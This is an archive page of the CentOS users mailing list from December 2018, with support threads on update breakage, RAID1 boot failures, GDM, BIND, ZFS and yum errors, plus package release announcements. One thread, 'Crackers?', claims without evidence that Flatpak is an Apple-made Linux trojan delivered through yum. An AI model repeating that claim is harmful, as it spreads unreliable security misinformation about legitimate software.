[ 1085.194091] [<ffffffffa95b5f84>] generic_file_buffered_write+0x124/0x2c0 [ 1085.194098] [<ffffffffa95b88c2>] __generic_file_aio_write+0x1e2/0x400 [ 1085.194105] [<ffffffffa95b8b39>] generic_file_aio_write+0x59/0xa0 [ 1085.194116] [<ffffffffc1bda322>] ext4_file_write+0xd2/0x1e0 [ext4] [ 1085.194121] [<ffffffffa9640823>] do_sync_write+0x93/0xe0 [ 1085.194127] [<ffffffffa9641310>] vfs_write+0xc0/0x1f0 [ 1085.194132] [<ffffffffa964212f>] SyS_write+0x7f/0xf0 [ 1085.194138] [<ffffffffa9b74ddb>] system_call_fastpath+0x22/0x27 Thanks, Jerry

4 7

Re: [CentOS] CentOS 7.6 external USB dmesg issue
by mark 12 Dec '18

12 Dec '18

Jerry Geis wrote: >> Do you have any "history" with the adapter you connected them to? If >> not consider it as a possibility as well >> (from bad experience of total filesystem/partition corruption on two >> hard drives only to discover it was >something on the motherboard). > > Actually yes I used them many times back on C7.5 Both the motherboard > and USB adapter. > I'm a tad confused: you said the USB drive was brand new - did you use them with C 7.5, or not? Can you try to do a b/u using whatever drive you used before? mark

1 0

CentOS-announce Digest, Vol 166, Issue 3
by centos-announce-request＠centos.org 12 Dec '18

12 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. Announcing release of PHP 7.2 (Jan Stan?k) 2. Announcing release of Varnish 6 (Jan Stan?k) 3. Announcing release of NodeJS 10 (Jan Stan?k) 4. Announcing release of nginx 1.14 (Jan Stan?k) 5. Announcing release of MySQL 8.0 (Jan Stan?k) 6. Announcing release of Git 2.18 (Jan Stan?k) ---------------------------------------------------------------------- Message: 1 Date: Tue, 11 Dec 2018 16:23:26 +0100 From: Jan Stan?k <jstanek(a)redhat.com> To: centos-announce(a)centos.org Subject: [CentOS-announce] Announcing release of PHP 7.2 Message-ID: <5f81205f-1311-8186-44f3-12d6e89a284d(a)redhat.com> Content-Type: text/plain; charset="windows-1252" I am pleased to announce the immediate availability of PHP in version 7.2 on CentOS Linux 7 x86_64, delivered via a Software Collection (SCL) built by the SCLo Special Interest Group (https://wiki.centos.org/SpecialInterestGroup/SCLo) QuickStart ---------- You can get started in three easy steps: # 1. Install a package with repository for your system: $ sudo yum install centos-release-scl # 2. Install the collection: $ sudo yum install rh-php72 # 3. Start using the software collection: $ scl enable rh-php72 bash At this point you should be able to use php just as a normal application. Examples of commands run might be: $ sudo systemctl start rh-php72-php-fpm $ php my-app.php $ sudo yum install rh-php72-php-devel $ sudo yum install libxml2-devel $ sudo pear install Cache_Lite $ sudo pecl install xmldiff More information about this collection can be found at https://www.softwarecollections.org/en/scls/rhscl/rh-php72/ This collections is CentOS-based rebuild built by SCLo SIG community, and the packages have been available in Red Hat Software Collections 3.2 for RHEL: https://access.redhat.com/documentation/en-us/red_hat_software_collections/… So, for RHEL-based builds, follow the steps in the documentation above. About Software Collections -------------------------- Software Collections give you the power to build, install, and use multiple versions of software on the same system, without affecting system-wide installed packages. Each collection is delivered as a group of RPMs, with the grouping being done using the name of the collection as a prefix of all packages that are part of the software collection. The SCLo SIG in CentOS ---------------------- The Software Collections SIG group is an open community group co-ordinating the development of the SCL technology, and helping curate a reference set of collections. In addition to the collection NodeJS being released here, we also build and deliver databases, web servers, and language stacks including multiple versions of PostgreSQL, MariaDB, Apache HTTP Server, Python, Ruby, Ruby on Rails and others. You can learn more about Software Collections concepts at: https://softwarecollections.org You can find information on the SIG at https://wiki.centos.org/SpecialInterestGroup/SCLo ; this includes how to get involved and help with the effort. Enjoy! -- Jan Stanek Associate Software Engineer, Brno Red Hat Czech jstanek(a)redhat.com IM: jstanek

1 0

Speaking of libreoffice
by mark 11 Dec '18

11 Dec '18

Been busy writing - updated C 6.10, and libreoffice, for no reason I understand, decides to put a heavy horizontal line in the text. I've tried highlighting it and removing direct formatting, I've tried selecting it and hitting delete, nothing makes it go away. Horizonetal line (in ASCII) one heavy lower line, one very thin line a few pixels above it, sort of like ---------- ========== Clues for the poor? mark

1 0

Libreoffice on 7.6
by Jerry Geis 11 Dec '18

11 Dec '18

When I try to run libreoffice on CentOS 7.6 for a slide show (using my macro that I have always used since CentOS 6.0) I get a runtime error that "Presentation is not found". I updated then to the current download 6.1.2 and tried again - I get the same error. If I go back to a 7.5 machine - same macro - it works just fine. This happens on any of my CentOS 7.6 machines. Any idea why its not happy ? This is the line (second one) in the macro it gets basic runtime error oDoc = StarDesktop.loadComponentFromURL(url, "_default", 0, aProps) oDoc.Presentation.Pause = 0 There don't seem to be permission errors - everything is owned by the right user and +r etc... The error is Basic runtime error property or method not found: Presentation. What might I be missing , thanks ? Jerry

1 0

Re: [CentOS] [CentOS-announce] Announcing release of PHP 7.2
by Nux! 11 Dec '18

11 Dec '18

Thanks, Jan! -- Sent from the Delta quadrant using Borg technology! Nux! www.nux.ro ----- Original Message ----- > From: "Jan Staněk" <jstanek(a)redhat.com> > To: centos-announce(a)centos.org > Sent: Tuesday, 11 December, 2018 15:23:26 > Subject: [CentOS-announce] Announcing release of PHP 7.2 > I am pleased to announce the immediate availability of PHP > in version 7.2 on CentOS Linux 7 x86_64, > delivered via a Software Collection (SCL) built by the SCLo Special > Interest Group (https://wiki.centos.org/SpecialInterestGroup/SCLo) > > QuickStart > ---------- > You can get started in three easy steps: > > # 1. Install a package with repository for your system: > $ sudo yum install centos-release-scl > > # 2. Install the collection: > $ sudo yum install rh-php72 > > # 3. Start using the software collection: > $ scl enable rh-php72 bash > > At this point you should be able to use php > just as a normal application. Examples of commands run might be: > > $ sudo systemctl start rh-php72-php-fpm > $ php my-app.php > $ sudo yum install rh-php72-php-devel > $ sudo yum install libxml2-devel > $ sudo pear install Cache_Lite > $ sudo pecl install xmldiff > > > More information about this collection can be found at > https://www.softwarecollections.org/en/scls/rhscl/rh-php72/ > > This collections is CentOS-based rebuild built by SCLo SIG community, > and the packages have been available in Red Hat Software Collections 3.2 > for RHEL: > > https://access.redhat.com/documentation/en-us/red_hat_software_collections/… > > So, for RHEL-based builds, follow the steps in the documentation above. > > About Software Collections > -------------------------- > Software Collections give you the power to build, install, and use > multiple versions of software on the same system, without affecting > system-wide installed packages. Each collection is delivered as a group > of RPMs, with the grouping being done using the name of the collection > as a prefix of all packages that are part of the software collection. > > The SCLo SIG in CentOS > ---------------------- > The Software Collections SIG group is an open community group > co-ordinating the development of the SCL technology, and helping curate > a reference set of collections. In addition to the collection NodeJS > being released here, we also build and deliver databases, web servers, > and language stacks including multiple versions of PostgreSQL, MariaDB, > Apache HTTP Server, Python, Ruby, Ruby on Rails and others. > > You can learn more about Software Collections concepts at: > https://softwarecollections.org > You can find information on the SIG at > https://wiki.centos.org/SpecialInterestGroup/SCLo ; > this includes how to get involved and help with the effort. > > Enjoy! > -- > Jan Stanek > Associate Software Engineer, Brno > Red Hat Czech > jstanek(a)redhat.com IM: jstanek > > > _______________________________________________ > CentOS-announce mailing list > CentOS-announce(a)centos.org > https://lists.centos.org/mailman/listinfo/centos-announce

1 0

XFS, NVMe
by Helmut Drodofsky 10 Dec '18

10 Dec '18

For me it's a new problem. I have never had problems like this: kernel:XFS: mysqld(112843) possible memory allocation deadlock size 65552 in kmem_realloc (mode:0x250) My first server with soft raid1 and NVMee. CentOS 7.5. Are there special recommendations for configuring XFS with NVMe's? -- Viele Grüße Helmut Drodofsky Internet XS Service GmbH Heßbrühlstraße 15 70565 Stuttgart Geschäftsführung Helmut Drodofsky HRB 21091 Stuttgart USt.ID: DE190582774 Fon: 0711 781941 0 <tel:+497117819410> Fax: 0711 781941 79 Mail: info(a)internet-xs.de www.internet-xs.de

1 0

Crackers?
by Arun I. Gurung 10 Dec '18

10 Dec '18

Hi, just wishing you a merry christmas and happy new year, by presenting to you a new trojan for Linux. It`s professionally made by Apple Computer Inc. (must be somebody who threatened them to do it). <https://www.anubis-ca.com/tmp/IMG_20181210_173521.jpg> <https://www.anubis-ca.com/tmp/IMG_20181210_175350.jpg> ---------Videresendt melding------- Fra: Arun I. Gurung <arun-g(a)anubis-ca.com> Til: Ian Mapleson <mapesdhs(a)yahoo.com>, rbowen(a)centosproject.org Emne: Re: Crackers? Dato: Mon, 10 Dec 2018 19:30:20 +0100 > I will take backup of my personal files and reinstall CentOS 1804 > (version 7.5). > > The trojan is a metadata crawler which infiltrates as a systemd > service. It arrived today, when I did a "yum distribution- > synchronization". > > > -----Original Message----- > From: "Arun I. Gurung" <arun-g(a)anubis-ca.com> > To: Ian Mapleson <mapesdhs(a)yahoo.com> > Sent: man., 10 des. 2018 17:54 > Subject: Re: Crackers? > > Apple sold their soul to Mr. Satan. > > -----Original Message----- > From: "Arun I. Gurung" <arun-g(a)anubis-ca.com> > To: Ian Mapleson <mapesdhs(a)yahoo.com> > Sent: man., 10 des. 2018 17:38 > Subject: Re: Crackers? > > Looks like the trojan has infiltrated as a systemd service. It > changed the MAC address on my WLAN interface, but it can't locate any > WLANs. Check the attached photo. > > -----Original Message----- > From: "Arun I. Gurung" <arun-g(a)anubis-ca.com> > To: Ian Mapleson <mapesdhs(a)yahoo.com> > Sent: man., 10 des. 2018 17:25 > Subject: Re: Crackers? > > Godammit, Ian. This time we must be really careful when talking, > because I see a trojan for Linux. A hint is that it's a "new package > manager" for Linux (it's Flatpak) and it's very dangerous. -- Arun I. Gurung <arun-g(a)anubis-ca.com> Anubis C A

2 1

Centos7 broken after update
by Patrick Bégou 10 Dec '18

10 Dec '18

I've launch a "yum update" while I was going to lunch. 1 hour later the system was completely freezed (no mouse, no keyboard, screen black, no network). I try a hard reboot => kernel panic on the new kernel I boot on the old kernel => boot hangs with gnome-shell failure. SSH was OK so I remove the new kernel and re-install gnome shell. Reboot is ok but now the computer freeze (no mouse, no keyboard, screen black) after some time. Yum asks to run yum-complete-transaction Running yum-complete-transaction says: There are 1 outstanding transactions to complete. Finishing the most recent one The remaining transaction had 1537 elements left to run then many package to be removed and start a very long dependances check and show a lot of errors at the end with a depsolving loop limit reached: Erreur : Depsolving loop limit reached. Erreur : Paquet : gtk3-3.22.30-3.el7.i686 (base) Requiert : libXext.so.6 Suppression : libXext-1.3.3-3.el7.i686 (@base) libXext.so.6 Erreur : Paquet : evolution-mapi-3.28.3-2.el7.x86_64 (base) Requiert : libemail-engine.so()(64bit) Suppression : evolution-3.22.6-14.el7.x86_64 (@base) libemail-engine.so()(64bit) Suppression : evolution-3.28.5-2.el7.x86_64 (installed) libemail-engine.so()(64bit) ....... and then: Vous pouvez essayer d'utiliser --skip-broken pour contourner le problème ** 775 problèmes RPMDB préexistants trouvés, la sortie de « yum check » est la suivante : GeoIP-1.5.0-13.el7.x86_64 est un doublon de GeoIP-1.5.0-11.el7.x86_64 1:NetworkManager-1.12.0-8.el7_6.x86_64 est un doublon de 1:NetworkManager-1.10.2-16.el7_5.x86_64 1:NetworkManager-glib-1.12.0-8.el7_6.x86_64 des conflits sont installés NetworkManager-libnm < ('1', '1.12.0', '8.el7_6'): 1:NetworkManager-libnm-1.10.2-16.el7_5.x86_64 1:NetworkManager-glib-1.12.0-8.el7_6.x86_64 est un doublon de 1:NetworkManager-glib-1.10.2-16.el7_5.x86_64 1:NetworkManager-libnm-1.12.0-8.el7_6.x86_64 des conflits sont installés NetworkManager-glib < ('1', '1.12.0', '8.el7_6'): ...etc and fails. Any idea to go back to a normal situation before a full re-install ? Thanks Patrick

4 6

Weird problems with CentOS 7.6 1810 installer
by Nicolas Kovacs 10 Dec '18

10 Dec '18

Hi, I just updated my installation media for CentOS. I have a few sandbox PCs in my office, and I'm testing CentOS 7.6 1810 on them. There seem to be a few issues with the CentOS 7.6 1810 DVD. Checked DVD integrity on startup : OK. First attempt : installer froze on root password dialog. Second attempt : installer froze on dependency calculation. Third attempt : installer froze on network interface definition. Similar behavior on two different machines. On the same machine, the minimal DVD seems to work OK. I could manage to switch to another virtual console, and I have the following kernel log messages: WARNING: kernel:perf: interrupt took too long Any idea what's going on here? I should add that all the previous CentOS 7 installation DVDs worked perfectly on these PCs (Dell Optiplex 330). Cheers, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

5 4

Still getting Dropbox warning at login after uninstalling Dropbox
by Gary Stainburn 09 Dec '18

09 Dec '18

Lke many people I have received the message from Dropbox about their changes including the non-support for the old Linux RPM. As I no longer use Dropbox I thought I would just remove the nautilus-dropbox RPM. However, I am still receiving the warning every time I log in. Can anyone tell me what I need to do to stop this please. Gary

2 1

[OT] EPEL update?
by isdtor 09 Dec '18

09 Dec '18

Hi, OT for this list, but maybe I can get some pointers - how hard is it to get some packages updated in EPEL? The project web site sends you from link to link, and the ML web interface is horrible. No interest here to become a package maintainer or regular contributor. I have taken it upon myself to rebuild MATE from Fedora 29, seeing that the current EPEL-7 packages are four revisions behind. Also updated a few packages to their latest upstream version.

7 10

rescue - UEFI revert to BIOS boot - how?
by lejeczek 08 Dec '18

08 Dec '18

hi guys I have a box on which UEFI boot has gone haywire and instead of boot it power the box down, that is before even going to grub2. (displays some error message) I if change to BIOS boot then I can start Centos' rescue - my question is: how can I rescue, re-build grub so it would boot from tradition BIOS? many thanks, L.

4 3

unable to stop drive timeout was reached
by Frank Cox 08 Dec '18

08 Dec '18

On a fully updated Centos 7 system with the Mate desktop, I've just encountered what appears to be a bug in.. something? I connected a USB portable hard drive and copied some files onto it, then right-clicked the icon and "Safely remove drive". After about thirty seconds I then unplugged the portable hard drive and removed it. Several minutes later a window appeared on my desktop that said "unable to stop drive timeout was reached". This is new; I've never seen it before so I think it's related to the last updates in some way. Google finds several mentions of this error message, here is one example: https://forum.manjaro.org/t/usb-drive-safely-remove-causes-delayed-error-me… -- MELVILLE THEATRE ~ Real D 3D Digital Cinema ~ www.melvilletheatre.com

1 0

// RESEND // 7.6: Software RAID1 fails the only meaningful test
by Benjamin Smith 08 Dec '18

08 Dec '18

(Resend: message didn't show, was my original message too big? Posted one of the output files to a website to see) The point of RAID1 is to allow for continued uptime in a failure scenario. When I assemble servers with RAID1, I set up two HDDs to mirror each other, and test by booting from each drive individually to verify that it works. For the OS partitions, I use simple partitions and ext4 so it's as simple as possible. Using the CentOS 7.6 installer (v 1810) I cannot get this test to pass in any way, with or without LVM. Using an older installer, it works fine (v 1611) and I am able to boot from either drive but as soon as I do a yum update then it fails. I think this may be related or the same issue reported in "LVM failure after CentOS 7.6 upgrade" since that also involves booting from a degraded RAID1 array. This is a terrible bug. See below for some (hopefully) useful output while in recovery mode after a failed boot. ### output of fdisk -l Disk /dev/sda: 500.1 GB, 500107862016 bytes, 976773168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk label type: dos Disk identifier: 0x000c1fd0 Device Boot Start End Blocks Id System /dev/sda1 2048 629409791 314703872 fd Linux raid autodetect /dev/sda2 * 629409792 839256063 104923136 fd Linux raid autodetect /dev/sda3 839256064 944179199 52461568 fd Linux raid autodetect /dev/sda4 944179200 976773119 16296960 5 Extended /dev/sda5 944181248 975654911 15736832 fd Linux raid autodetect ### output of cat /prod/mdstat Personalities : md126 : inactive sda5[0](S) 15727616 blocks super 1.2 md127 : inactive sda2[0](S) 104856576 blocks super 1.2 unused devices: <none> ### content of rdosreport.txt It's big; see http://chico.benjamindsmith.com/rdsosreport.txt

2 2

Can't configure GDM after update to CentOS 7.6
by Nicolas Kovacs 07 Dec '18

07 Dec '18

Hi, It looks like the upgrade to CentOS 7.6 has been unusually disruptive with the GNOME desktop version bump and a series of moving targets under the hood. The result is some wreckage at my client's desktop installations, which I've been busy to repair since yesterday. First things first. I have a custom configuration of GDM, which consists mainly of two things. 1. Display my company's logo instead of the CentOS logo. 2. Disable the user list (since I have about 100 users here). Until CentOS 7.5, here's what I did. 1. Create a file /etc/dconf/profile/gdm : user-db:user system-db:gdm file-db:/usr/share/gdm/greeter-dconf-defaults 2. Create a file /etc/dconf/db/gdm.d/01-logo : [org/gnome/login-screen] logo='/usr/share/pixmaps/microlinux-logo.png' 3. Create a file /etc/dconf/db/gdm.d/00-login-screen : [org/gnome/login-screen] disable-user-list=true 4. Update dconf : # dconf update Now with CentOS 7.6 this doesn't work anymore. The /etc/dconf/db/gdm.d directory is nowhere to be found, and I'm currently mildly cursing the GNOME developers' (and Red Hat's) policy of releasing moving targets. Until now, the whole purpose of Enterprise Linux seemed to be low-risk updates. </rant> I've documented the whole GDM customization process until CentOS 7.5 in a short article on my french blog : * https://blog.microlinux.fr/gdm-centos/ Any idea how I can configure GDM with the new version ? Cheers, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

7 8

DNS bind - use of /etc/named directory
by John Horne 07 Dec '18

07 Dec '18

Hello, For many years we have modified the '/etc/named.conf' file to include local settings. The disadvantage with this is of course that when bind is updated, it creates an '/etc/named.conf.rpmnew' file. We then have to determine what is new, and apply the relevant changes to our modified named.conf file. There is, however, an '/etc/named' directory which I assumed was for local configuration settings. The main '/etc/named.conf' file makes no mention of this directory, so (I suspect) any config files in '/etc/named' would, by default, just be ignored. As far as I can tell we could put our local configuration settings into a file in '/etc/named', but we would then, once again, have to modify '/etc/named.conf' to tell it to include config files in '/etc/named'. We would then be back at square one in that any bind update would create an 'rpmnew' file. I admit I haven't actually tested this, but has anyone used the '/etc/named' directory and not had to modify the main '/etc/named.conf' file? I suspect, if not, then this should be raised as a possible bug since it would make sense not to have to modify the main configuration file at all. Thanks, John. -- John Horne | Senior Operations Analyst | Technology and Information Services University of Plymouth | Drake Circus | Plymouth | Devon | PL4 8AA | UK ________________________________ [http://www.plymouth.ac.uk/images/email_footer.gif]<http://www.plymouth.ac.uk/worldclass> This email and any files with it are confidential and intended solely for the use of the recipient to whom it is addressed. If you are not the intended recipient then copying, distribution or other use of the information contained is strictly prohibited and you should not rely on it. If you have received this email in error please let the sender know immediately and delete it from your system(s). Internet emails are not necessarily secure. While we take every care, University of Plymouth accepts no responsibility for viruses and it is your responsibility to scan emails and their attachments. University of Plymouth does not accept responsibility for any changes made after it was sent. Nothing in this email or its attachments constitutes an order for goods or services unless accompanied by an official order form.

2 4

New CentOS7 Install Yum will not work
by Ed Morrison 07 Dec '18

07 Dec '18

Hi Everyone: I have been fighting this all morning. I did a new (several) installs of CentOS7. Yum will not update the system. I have disabled ipv6, set yum.conf to use IPv4 only, disabled firewalld, disabled selinux, used both static ip and dhcp for network connectivity. I can ping any where on the Internet, including the mirrors, DNS works and ensured the base URL line was uncommented. Any help would be appreciated. Thanks, Ed This is the latest error I am seeing: [root@localhost ~]# yum check-update Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile Could not retrieve mirrorlist http://mirrorlist.centos.org/?release=7&arch=x86_64&repo=os&infra=stock error was 14: curl#7 - "Failed connect to mirrorlist.centos.org:80; Operation now in progress" Could not retrieve mirrorlist http://mirrorlist.centos.org/?release=7&arch=x86_64&repo=extras&infra=stock error was 14: curl#7 - "Failed connect to mirrorlist.centos.org:80; Operation now in progress" One of the configured repositories failed (Unknown), and yum doesn't have enough cached data to continue. At this point the only safe thing yum can do is fail. There are a few ways to work "fix" this: 1. Contact the upstream for the repository and get them to fix the problem. 2. Reconfigure the baseurl/etc. for the repository, to point to a working upstream. This is most often useful if you are using a newer distribution release than is supported by the repository (and the packages for the previous distribution release still work). 3. Run the command with the repository temporarily disabled yum --disablerepo=<repoid> ... 4. Disable the repository permanently, so yum won't use it by default. Yum will then just ignore the repository until you permanently enable it again or use --enablerepo for temporary usage: yum-config-manager --disable <repoid> or subscription-manager repos --disable=<repoid> 5. Configure the failing repository to be skipped, if it is unavailable. Note that yum will try to contact the repo. when it runs most commands, so will have to try and fail each time (and thus. yum will be be much slower). If it is a very temporary problem though, this is often a nice compromise: yum-config-manager --save --setopt=<repoid>.skip_if_unavailable=true Cannot find a valid baseurl for repo: extras/7/x86_64

2 2

CentOS-announce Digest, Vol 166, Issue 2
by centos-announce-request＠centos.org 07 Dec '18

07 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. Announcing the release of Gluster 5 on CentOS Linux 7 x86_64 (Niels de Vos) 2. CEBA-2018:3764 CentOS 6 autofs BugFix Update (Johnny Hughes) 3. CESA-2018:3760 Important CentOS 6 ghostscript Security Update (Johnny Hughes) 4. CEBA-2018:3763 CentOS 6 kernel BugFix Update (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Wed, 5 Dec 2018 19:24:49 +0100 From: Niels de Vos <ndevos(a)redhat.com> To: centos-announce(a)centos.org Subject: [CentOS-announce] Announcing the release of Gluster 5 on CentOS Linux 7 x86_64 Message-ID: <20181205182449.GL4068@ndevos-x270> Content-Type: text/plain; charset="us-ascii" I am happy to announce the General Availability of Gluster 5 for CentOS 7 on x86_64. These packages are following the upstream Gluster Community releases, and will receive monthly bugfix updates. Gluster 5 is expected to receive updates until the end of October 2019. The maintanance and release schedule can be found at: https://www.gluster.org/community/release-schedule/ Users of CentOS 7 can now simply install Gluster 5 with only these two commands: # yum install centos-release-gluster # yum install glusterfs-server The centos-release-gluster package is delivered via CentOS Extras repos. This contains all the metadata and dependency information, needed to install Gluster 5. The actual package that will get installed is centos-release-gluster5. Users of Gluster 4.1 can stay on that release until June 2019. Users of Gluster 4.0 and earlier will need to manually upgrade by uninstalling the centos-release-gluster-legacy package, and replacing it with either the Gluster 5 or 4.1 version. Additional details about the upgrade process are linked in the announcement from the Gluster Community: https://lists.gluster.org/pipermail/announce/2018-October/000115.html We have a quickstart guide specifically built around the packages are available, it makes for a good introduction to Gluster and will help get you started in just a few simple steps, this quick start is available at https://wiki.centos.org/SpecialInterestGroup/Storage/gluster-Quickstart More details about the packages that the Gluster project provides in the Storage SIG is available in the documentation: https://wiki.centos.org/SpecialInterestGroup/Storage/Gluster The centos-release-gluster* repositories offer additional packages that enhance the usability of Gluster itself. Utilities and tools that were working with previous versions of Gluster are expected to stay working fine. If there are any problems, or requests for additional tools and applications to be provided, just send us an email with your suggestions. The current list of packages that is (planned to become) available can be found here: https://wiki.centos.org/SpecialInterestGroup/Storage/Gluster/Ecosystem-pkgs We welcome all feedback, comments and contributions. You can get in touch with the CentOS Storage SIG on the centos-devel mailing list (https://lists.centos.org ) and with the Gluster developer and user communities at https://www.gluster.org/mailman/listinfo , we are also available on irc at #gluster on irc.freenode.net, and on twitter at @gluster . Cheers, Niels de Vos Storage SIG member & Gluster maintainer

1 0

CVE-2018-1002105
by Adam Bishop 07 Dec '18

07 Dec '18

There was a critical vulnerability in Kubernetes published earlier in the week - CVE-2018-1002105. The vulnerability has been patched both the upstream project and by TUV, but the fix doesn't seem to have made it into the CentOS OpenShift build for 3.11: http://mirror.centos.org/centos/7/paas/x86_64/openshift-origin311/ The fixed version is 3.11.43, version on the mirror is 3.11.0. I'm not 100% certain of the support state of OpenShift in CentOS as it's maintained by a SIG, so what needs to happen to get the vulnerability patched for CentOS? Adam Bishop gpg: E75B 1F92 6407 DFDF 9F1C BF10 C993 2504 6609 D460 jisc.ac.uk Jisc is a registered charity (number 1149740) and a company limited by guarantee which is registered in England under Company No. 5747339, VAT No. GB 197 0632 86. Jisc’s registered office is: One Castlepark, Tower Hill, Bristol, BS2 0JA. T 0203 697 5800. Jisc Services Limited is a wholly owned Jisc subsidiary and a company limited by guarantee which is registered in England under company number 2881024, VAT number GB 197 0632 86. The registered office is: One Castle Park, Tower Hill, Bristol BS2 0JA. T 0203 697 5800.

1 0

invalid base url
by Jerry Geis 07 Dec '18

07 Dec '18

I have a number of updates to C7.6 but now I am getting Cannot find a valid baseurl for repo base/7/x86_64 Did something happen? What do I do ? This machine has internet access and appears to resolve other sites. I get a list when trying to access mirrorlist... Thanks, Jerry

2 1

Audacious broken on CentOS 7.6
by Nicolas Kovacs 07 Dec '18

07 Dec '18

Hi, Looks like the Audacious audio player from EPEL (which has worked fine in previous versions) is broken under CentOS 7.6. It refuses to start, and when I try to start it from the command line, here's what I get. [microlinux@bernadette:~] $ rpm -qa | grep audacious audacious-3.9-1.el7.x86_64 audacious-libs-3.9-1.el7.x86_64 audacious-plugins-3.9-1.el7.x86_64 [microlinux@bernadette:~] $ audacious ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/Effect/ladspa.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/skins.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/statusicon.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/alarm.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/delete-files.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/notify.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/gtkui.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/hotkey.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/gnomeshortcuts.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/playlist-manager.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/search-tool.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/albumart.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/aosd.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/General/lyricwiki.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/Visualization/blur_scope.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/Visualization/cairo-spectrum.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-load.cc:72 [plugin_load]: /usr/lib64/audacious/Visualization/gl-spectrum.so could not be loaded: /lib64/libcairo.so.2: undefined symbol: FT_Get_Var_Design_Coordinates ERROR plugin-init.cc:147 [start_required]: No interface plugin found. (Did you forget to install audacious-plugins?) Abandon Any idea what's wrong here ? Cheers, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

3 3

ZFS fails with C7 957
by david 07 Dec '18

07 Dec '18

Folks I have two USB connected drives, configured as a mirrored-pair in ZFS. It's been working fine UNTIL I updated Centos from 3.10.0-862.14.4.el7.x86_64 to 3.10.0-957.1.3.el7.x86_64 The import of the pools didn't happen at boot. When I tried executing: zpool list I got the diagnostic suggesting I do /sbin/modprobe zfs And that command claimed the module didn't exist. YUM claims my updates are all up-to-date. I had to revert back to 862. Help? David

3 2

Re: [CentOS] Update failure: Mate requires libgtop-2.0.so.10
by Richard 06 Dec '18

06 Dec '18

